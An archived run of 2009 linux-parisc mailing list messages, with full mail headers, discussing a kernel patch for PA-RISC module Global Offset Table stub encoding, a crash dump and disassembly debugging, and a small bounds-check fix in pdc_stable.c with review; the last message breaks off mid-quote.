> > -		stub->insns[0] = 0x537b0000;	/* ldd 0(%dp),%dp	*/
> > +		stub->insns[0] = 0x537b0000;    /* ldd 0(%dp),%dp	*/
> >  		stub->insns[1] = 0x53610020;	/* ldd 10(%dp),%r1	*/
> >  		stub->insns[2] = 0xe820d000;	/* bve (%r1)		*/
> >  		stub->insns[3] = 0x537b0030;	/* ldd 18(%dp),%dp	*/
> >  
> > -		stub->insns[0] |= reassemble_14(get_got(me, value, addend) & 0x3fff);
> > +		d = get_got(me, value, addend);
> > +		if (d <= 15)
> > +			stub->insns[0] |= reassemble_14(d);
> 
> reassemble_14 is wrong for ldd format 3.  Need format 5 and im5 insertion.

Since I complained about not using format 5 for small displacements,
here's an updated patch for review.  Seems to work:

dave@mx3210:/usr/src/D$ lsmod
Module                  Size  Used by
dm_snapshot            45680  0 
dm_mirror              27480  0 
dm_region_hash         17408  1 dm_mirror
dm_log                 18968  2 dm_mirror,dm_region_hash
dm_mod                111200  3 dm_snapshot,dm_mirror,dm_log
ext2                   99648  2 
sd_mod                 63792  4 
crc_t10dif              2368  1 sd_mod
tg3                   196428  0 
sym53c8xx             127568  3 
libphy                 39280  1 tg3
scsi_transport_spi     43528  1 sym53c8xx
scsi_mod              261104  3 sd_mod,sym53c8xx,scsi_transport_spi

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index ecd1c50..88989cb 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -86,8 +86,12 @@
  * the bottom of the table, which has a maximum signed displacement of
  * 0x3fff; however, since we're only going forward, this becomes
  * 0x1fff, and thus, since each GOT entry is 8 bytes long we can have
- * at most 1023 entries */
-#define MAX_GOTS	1023
+ * at most 1023 entries.
+ * To overcome this 14bit displacement with some kernel modules, we'll
+ * use instead the unusal 16bit displacement method (see reassemble_16a)
+ * which gives us a maximum positive displacement of 0x7fff, and as such 
+ * allows us to allocate up to 4095 GOT entries. */
+#define MAX_GOTS	4095
 
 /* three functions to determine where in the module core
  * or init pieces the location is */
@@ -145,12 +149,40 @@ struct stub_entry {
 /* The reassemble_* functions prepare an immediate value for
    insertion into an opcode. pa-risc uses all sorts of weird bitfields
    in the instruction to hold the value.  */
+static inline int sign_unext (int x, int len)
+{
+	int len_ones;
+
+	len_ones = (1 << len) - 1;
+	return x & len_ones;
+}
+
+static inline int low_sign_unext(int x, int len)
+{
+	int sign, temp;
+
+	sign = (x >> (len-1)) & 1;
+	temp = sign_unext (x, len-1);
+	return (temp << 1) | sign;
+}
+
 static inline int reassemble_14(int as14)
 {
 	return (((as14 & 0x1fff) << 1) |
 		((as14 & 0x2000) >> 13));
 }
 
+static inline int reassemble_16a(int as16)
+{
+	int s, t;
+
+	/* Unusual 16-bit encoding, for wide mode only.  */
+	t = (as16 << 1) & 0xffff;
+	s = (as16 & 0x8000);
+	return (t ^ s ^ (s >> 1)) | (s >> 15);
+}
+
+
 static inline int reassemble_17(int as17)
 {
 	return (((as17 & 0x10000) >> 16) |
@@ -409,6 +441,7 @@ static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
 	enum elf_stub_type stub_type, Elf_Addr loc0, unsigned int targetsec)
 {
 	struct stub_entry *stub;
+	int d;
 
 	/* initialize stub_offset to point in front of the section */
 	if (!me->arch.section[targetsec].stub_offset) {
@@ -462,12 +495,19 @@ static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
  */
 	switch (stub_type) {
 	case ELF_STUB_GOT:
-		stub->insns[0] = 0x537b0000;	/* ldd 0(%dp),%dp	*/
+		d = get_got(me, value, addend);
+		if (d <= 15) {
+			/* Format 5 */
+			stub->insns[0] = 0x0f6010db; /* ldd 0(%dp),%dp	*/
+			stub->insns[0] |= low_sign_unext(d, 5) << 16;
+		} else {
+			/* Format 3 */
+			stub->insns[0] = 0x537b0000; /* ldd 0(%dp),%dp	*/
+			stub->insns[0] |= reassemble_16a(d);
+		}
 		stub->insns[1] = 0x53610020;	/* ldd 10(%dp),%r1	*/
 		stub->insns[2] = 0xe820d000;	/* bve (%r1)		*/
 		stub->insns[3] = 0x537b0030;	/* ldd 18(%dp),%dp	*/

From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Sat, 1 Aug 2009 16:02:36 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <119aab440908011302p6ee9eed1w3f72a17e89a001c3@mail.gmail.com>
References: <20090801003740.8BBDE5160@hiauly1.hia.nrc.ca>
	 <20090801190715.0929A500B@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249156970 13910 80.91.229.12 (1 Aug 2009 20:02:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2009 20:02:50 +0000 (UTC)
Cc: deller@gmx.de, kyle@mcmartin.ca, 539378@bugs.debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	randolph@tausq.org, submit@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>, elendil@planet.nl
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 22:02:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MXKmu-0004n3-IM
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 22:02:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752090AbZHAUCh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Aug 2009 16:02:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752099AbZHAUCh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 1 Aug 2009 16:02:37 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.27]:35692 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752090AbZHAUCh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Aug 2009 16:02:37 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 9so735965eyd.37
        for <linux-parisc@vger.kernel.org>; Sat, 01 Aug 2009 13:02:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=DT++IUd4ULIS7xebJbkv7JvuN4Ne6gV+Gdi1V6t0/JU=;
        b=ViUo/61IU8tyYvf2prSfypT5lta26+j5H+axTqbMRHMpAORyTd7B1TbqnoSis3anwq
         q9G2MpVEFHf9zzl/Urub+OQV1pKCPIaN6DFEQGT1iHvvcIxhZ5AKMPXwm8tksj6LObfM
         x0d2LHRCugm0Ma+rsiKWyEZJmatxIE16ILA1M=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=VAusaipbEMVXx8q49zQjtg8nPAG8F/VTZmobx8LTHw3JxoWxUyEWKapJ3+A7wTu/RV
         TSu4GF4fn0Pe6QxMYzdWsLoLCRlyQkA+zX7RB96hqFfX/+M8F6N0bgbnf11vERep3e+R
         e92AVe2cLWBD9n4Jk0/xTsTsjDrYUqTZs+KCU=
Original-Received: by 10.216.25.209 with SMTP id z59mr770546wez.204.1249156956626; Sat, 
	01 Aug 2009 13:02:36 -0700 (PDT)
In-Reply-To: <20090801190715.0929A500B@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 2a991396bf3f865d
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1982 gmane.linux.debian.ports.hppa:5923
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1982>

On Sat, Aug 1, 2009 at 3:07 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
>

Frans,

I suggest you use Dave's patch please, it is IMO the most correct patch.

Helge, Kyle, thanks also for the initial patches!

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Sat, 1 Aug 2009 16:59:03 -0400 (EDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <20090801205904.619B14E4F@hiauly1.hia.nrc.ca>
References: <Pine.SOC.4.64.0908010202020.15830@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249160360 21668 80.91.229.12 (1 Aug 2009 20:59:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2009 20:59:20 +0000 (UTC)
Cc: varenet@parisc-linux.org, randolph@tausq.org,
	linux-parisc@vger.kernel.org
To: mroos@ut.ee (Meelis Roos)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 22:59:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MXLfc-00067R-0J
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 22:59:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752203AbZHAU7J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Aug 2009 16:59:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752366AbZHAU7J
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 1 Aug 2009 16:59:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2242 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752203AbZHAU7I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Aug 2009 16:59:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 619B14E4F; Sat,  1 Aug 2009 16:59:03 -0400 (EDT)
In-Reply-To: <Pine.SOC.4.64.0908010202020.15830@math.ut.ee> from "Meelis Roos" at Aug 1, 2009 02:16:29 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1983
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1983>

> Did this - managed to boot via etch netinst+chroot. The address ranges 
> do not match (as suggested by an earleir post?) - they start with
> 0000000040100000. r02 shows 000000000c1b5c78 and I can not find anything 
> sensible ending with 1b5c7XX. The only match is in the middle of 
> filemap_fault:
> 
>     401b5c64:   08 19 02 49     copy r25,r9

The fault is at 0x402e70d0.  Register r26 contains 0 in the dump.

00000000402e7098 <ioread32>:
    402e7098:   0f c2 12 c1     std rp,-10(sp)
    402e709c:   9f 40 60 58     cmpb,*<= r0,r26,402e70d0 <ioread32+0x38>
    402e70a0:   73 c4 01 08     std,ma r4,80(sp)
    402e70a4:   db 5f 00 7d     extrd,u r26,3,3,r31
    402e70a8:   2b 63 20 00     addil L%7000,dp,r1
    402e70ac:   50 3c 0b 50     ldd 5a8(r1),ret0
    402e70b0:   0f 9f 20 dc     ldd,s r31(ret0),ret0
    402e70b4:   37 dd 3f a1     ldo -30(sp),ret1
    402e70b8:   53 9c 00 30     ldd 18(ret0),ret0
    402e70bc:   53 82 00 20     ldd 10(ret0),rp
    402e70c0:   e8 40 f0 00     bve,l (rp),rp
    402e70c4:   53 9b 00 30     ldd 18(ret0),dp
    402e70c8:   e8 00 00 30     b,l 402e70e8 <ioread32+0x50>,r0
    402e70cc:   53 c2 3e e1     ldd -90(sp),rp
    402e70d0:   0f 40 10 9c     ldw 0(r26),ret0
    402e70d4:   d3 9c 09 ff     shrpw ret0,ret0,16,r31

Since register r2 doesn't contain a normal address, it not clear
where ioread32 was called from.
> Also, there is no mention of IAOQ, IIR, IOR in HPMC - are they there but 
> with different names?

IAOQ is the HPMC dump (back entry).  It's 0x402e70d4.
IIR is control register 19 (CR 19).
IOR is control register 21 (CR 21).

> The disassmebly from the image is at
> http://muuseum.at.mt.ut.ee/~mroos/objdump-2.6.19-2-parisc64-smp if 
> sombeody can help me find my way through it. The image itself is at
> http://muuseum.at.mt.ut.ee/~mroos/vmlinux-2.6.29-2-parisc64-smp

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Sat, 1 Aug 2009 23:17:43 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <200908012317.45383.elendil@planet.nl>
References: <20090801003740.8BBDE5160@hiauly1.hia.nrc.ca> <20090801190715.0929A500B@hiauly1.hia.nrc.ca> <119aab440908011302p6ee9eed1w3f72a17e89a001c3@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249161480 24262 80.91.229.12 (1 Aug 2009 21:18:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2009 21:18:00 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	kyle@mcmartin.ca, 539378@bugs.debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	randolph@tausq.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 23:17:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MXLxe-00033X-LG
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 23:17:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751439AbZHAVRr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Aug 2009 17:17:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751879AbZHAVRr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 1 Aug 2009 17:17:47 -0400
Original-Received: from Cpsmtpm-eml106.kpnxchange.com ([195.121.3.10]:50512 "EHLO
	CPSMTPM-EML106.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751439AbZHAVRq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Aug 2009 17:17:46 -0400
Original-Received: from aragorn.fjphome.nl ([84.85.147.182]) by CPSMTPM-EML106.kpnxchange.com with Microsoft SMTPSVC(7.0.6001.18000);
	 Sat, 1 Aug 2009 23:17:45 +0200
User-Agent: KMail/1.9.9
In-Reply-To: <119aab440908011302p6ee9eed1w3f72a17e89a001c3@mail.gmail.com>
Content-Disposition: inline
X-OriginalArrivalTime: 01 Aug 2009 21:17:46.0093 (UTC) FILETIME=[83C7A9D0:01CA12ED]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1984 gmane.linux.debian.ports.hppa:5925
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1984>

On Saturday 01 August 2009, Carlos O'Donell wrote:
> I suggest you use Dave's patch please, it is IMO the most correct
> patch.

Right. I think the original patch is probably responsible for endless
errors on shutdown/reboot:

Bad Address (null pointer deref?): Code=15 regs=00000000bea7cf70 (Addr=c00007ffbea7c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  000000ff0804ff0e 00000000405ead40 000000006fc00000 00000000bea7ca18
r04-07  0000000037de0000 ffffffffffe00008 00000000bea7ca18 00000000405ea540
r08-11  000000000fc212c1 000000006bc23fd9 000000000000000f 00000000faf59048
r12-15  00000000be784b28 0000000000000025 00000000faf5932d 0000000000000000
r16-19  00000000bea7bfa0 0000000000000014 000000004074b134 00000000bea7cda0
r20-23  00000000ffffe000 000000004011d2b4 0000000040479004 0000000000000010
r24-27  0000000000000000 000000004011d1e0 000000004011d838 00000000405dcd40
r28-31  ffffffffbea7cd90 0000000000000350 00000000bea7cf70 ffffffffbea7cda0
sr00-03  000000000607b000 0000000000000000 0000000000000000 000000000607b000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040127a10 0000000040127a14
 IIR: 0f8010dc    ISR: 000000003ffff800  IOR: c00007ffbea7cd90
 CPU:        1   CR30: 00000000bea60000 CR31: 0000000011111111
 ORIG_R28: 0000000000000000
 IAOQ[0]: unwind_once+0x370/0x3d0
 IAOQ[1]: unwind_once+0x374/0x3d0
 RP(r2): 0x6fc00000


John's version works too for me and the system now shuts down cleanly.

Cheers,
FJP

P.S. If anybody ever wants access to my box, just ask:
- model: 9000/785/J5600
- cpu: 2 x PA8600 (PCX-W+) at 552.000000 MHz
- memory: 2048 MB
- 3 x 9.1 GB SCSI harddisks
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Kluin <roel.kluin@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] kobject: Read buffer overflow
Date: Sun, 02 Aug 2009 10:02:28 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <4A754814.50506@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249199971 23412 80.91.229.12 (2 Aug 2009 07:59:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Aug 2009 07:59:31 +0000 (UTC)
To: kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 02 09:59:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MXVyU-0002KP-G7
	for glpp-linux-parisc@gmane.org; Sun, 02 Aug 2009 09:59:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752185AbZHBH7T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Aug 2009 03:59:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752208AbZHBH7T
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 2 Aug 2009 03:59:19 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:56558 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752185AbZHBH7S (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Aug 2009 03:59:18 -0400
Original-Received: by ewy10 with SMTP id 10so2377088ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 02 Aug 2009 00:59:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:subject:content-type
         :content-transfer-encoding;
        bh=VKn4yVTpPkDIBbDJgpiuNKvbYdmX5KpZeaTT8BZzhUI=;
        b=aEGtLkiBQtqdk3DHNfGMpDNLEkQY1NAP/wq8mjvVrhEe/KnFibUFpj4p0pufFYIKtw
         V52YT/PNpj6MJHFrBIZFLb8pmskxrpTfwVDi9x88I0YS6KKYPzNKKMCCk7w/Y3/b0X2w
         og5/zE2Dac6yYeBDdRvLl5NHoxVgsll9hvIws=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:subject
         :content-type:content-transfer-encoding;
        b=lggWTJYko9DZP9AJwFwfnKFStAoDAq1qcgtF5Y9kf5SqOZ9/agoyZHcyUBoiQ9SkZo
         nQC0kkhZUCE5x+cuy8KFVJshiX0l5n570LgNLtmvCUzHo/hfBeM3fvAS8nrgvq9z0jyM
         M5JMCjrkbcn+0Iwc2979hszPvPvUBpTLFqqlo=
Original-Received: by 10.211.180.15 with SMTP id h15mr5457994ebp.40.1249199958581;
        Sun, 02 Aug 2009 00:59:18 -0700 (PDT)
Original-Received: from zoinx.mars (d133062.upc-d.chello.nl [213.46.133.62])
        by mx.google.com with ESMTPS id 28sm8653705eyg.40.2009.08.02.00.59.17
        (version=SSLv3 cipher=RC4-MD5);
        Sun, 02 Aug 2009 00:59:18 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1985
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1985>

Check whether index is within bounds before testing the element.

Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
---
This also removes the likely, should it be kept?

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index f9f9a5f..13a64bc 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -370,7 +370,7 @@ pdcspath_layer_read(struct pdcspath_entry *entry, char *buf)
 	if (!i)	/* entry is not ready */
 		return -ENODATA;
 	
-	for (i = 0; devpath->layers[i] && (likely(i < 6)); i++)
+	for (i = 0; i < 6 && devpath->layers[i]; i++)
 		out += sprintf(out, "%u ", devpath->layers[i]);
 
 	out += sprintf(out, "\n");
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] kobject: Read buffer overflow
Date: Sun, 2 Aug 2009 12:06:59 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <7d01f9f00908020306s273eec60u8e50692c0f839828@mail.gmail.com>
References: <4A754814.50506@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1249207634 6275 80.91.229.12 (2 Aug 2009 10:07:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Aug 2009 10:07:14 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Roel Kluin <roel.kluin@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 02 12:07:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MXXy5-0007sg-Rh
	for glpp-linux-parisc@gmane.org; Sun, 02 Aug 2009 12:07:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751987AbZHBKHD convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Aug 2009 06:07:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752139AbZHBKHD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 2 Aug 2009 06:07:03 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:64479 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751987AbZHBKHB convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Aug 2009 06:07:01 -0400
Original-Received: by ewy10 with SMTP id 10so2414725ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 02 Aug 2009 03:07:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=bCtLYFoPaxKmnNnNvyG0KaO1rRoBSNYcq0iXJ5gseTQ=;
        b=Vm852q3PHpBJr3F30PAmBpc4Vah7oSqkc8msS0j8UQDgwY4/+7q5rRRiRud7JQf9I+
         VnzYzzcX7edD8lmBloyz4SIumoG5yrlaWJAigWrXvdoH2UwTOKBl3ukfZBF5I7uLHQGr
         j4YKT+0vlTUvsIpXyiF/wg9GifCZBr4WuWsjM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=OQy2/8AysFQ+9BDAorXQfOG9ViRjFzxKYQx9cZrrOeaMaWdsf4T7Yf2mDn5pG9z4gB
         udeJJa7bd1jhv/uSTLLibKTEX+jN17zd7SqU3KLCgiYxbgnwzTG/P+hhXJ+VcXuFnuvR
         7NpLs1naKMpo0b6/qCgMeqts+xMtQp4QsoS/E=
Original-Received: by 10.216.89.146 with SMTP id c18mr14739wef.84.1249207619820; Sun, 
	02 Aug 2009 03:06:59 -0700 (PDT)
In-Reply-To: <4A754814.50506@gmail.com>
X-Google-Sender-Auth: f41147d607f799ff
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1986
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1986>

On Sun, Aug 2, 2009 at 10:02 AM, Roel Kluin<roel.kluin@gmail.com> wrote=
:
> Check whether index is within bounds before testing the element.

The change is correct but:
- There are other places in the code with that construct. Even though
they wouldn't trigger an overflow, why not fixing them too?
- Keep the likely: we are more likely to run out of data in the layers
than to exhaust the counter (which is why no overflow was ever
triggered, I believe ;-)

HTH

T-Bone

> diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.=
c
> index f9f9a5f..13a64bc 100644
> --- a/drivers/parisc/pdc_stable.c
> +++ b/drivers/parisc/pdc_stable.c
> @@ -370,7 +370,7 @@ pdcspath_layer_read(struct pdcspath_entry *entry,=
